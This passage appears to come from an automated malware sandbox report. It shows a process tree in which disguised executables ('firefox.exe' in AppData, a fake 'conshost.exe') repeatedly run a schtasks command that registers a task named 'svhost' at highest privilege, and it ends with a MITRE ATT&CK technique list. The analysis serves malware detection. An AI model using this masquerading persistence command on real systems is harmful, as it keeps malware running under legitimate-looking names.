    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3716
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1980
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3676
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5108
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1628
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:396
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5908
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3376
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4476
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6008
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6076
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5588
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5576
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6012
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:656
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6160
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6180
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1652
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6320
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6240
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6280
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6204
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3820
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6408
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6452
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6456
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6556
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6548
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6524
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6600
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6560
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6672
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6736
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6716
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6492
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6820
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6912
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6876
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6952
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6956
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7032
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7072
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7088
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7052
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6508
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6388
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7212
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7216
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7268
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7276
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8224
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7384
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6528
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9120
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7448
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7432
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7456
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7484
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7544
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7556
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7632
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7664
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7644
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7752
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7716
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7800
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7760
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7860
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7920
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7960
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7872
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8028
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8008
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8108
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8124
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3416
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8156
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4892
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5392
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8292
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5276
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8312
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8320
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8404
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8380
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8432
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8492
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8544
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9160
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:9068
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9040
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:9028
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1904
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8988
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8960
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8840
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8892
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8760
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8568
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8656
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8832
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4532
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3992

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
PID:2332

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4984,i,7977653611488681184,6839495125838449898,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:8
1⤵
PID:1424

C:\Windows\conshost.exe
C:\Windows\conshost.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
PID:3324
- C:\Windows\system32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
  2⤵
  PID:5560
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4452
- C:\Users\Admin\AppData\Roaming\firefox.exe
  "C:\Users\Admin\AppData\Roaming\firefox.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  PID:1388
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5492
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3364
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4824
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5176
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4208
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1004

C:\Windows\conshost.exe
C:\Windows\conshost.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
PID:5712
- C:\Windows\system32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
  2⤵
  PID:6352
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6312
- C:\Users\Admin\AppData\Roaming\firefox.exe
  "C:\Users\Admin\AppData\Roaming\firefox.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  PID:6364
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6828
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6864
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6920
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6896
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7008
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7072

C:\Windows\conshost.exe
C:\Windows\conshost.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
PID:8464
- C:\Windows\system32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
  2⤵
  PID:8920
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
    3⤵
    PID:8820
- C:\Users\Admin\AppData\Roaming\firefox.exe
  "C:\Users\Admin\AppData\Roaming\firefox.exe"
  2⤵
  - Executes dropped EXE
  PID:8784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

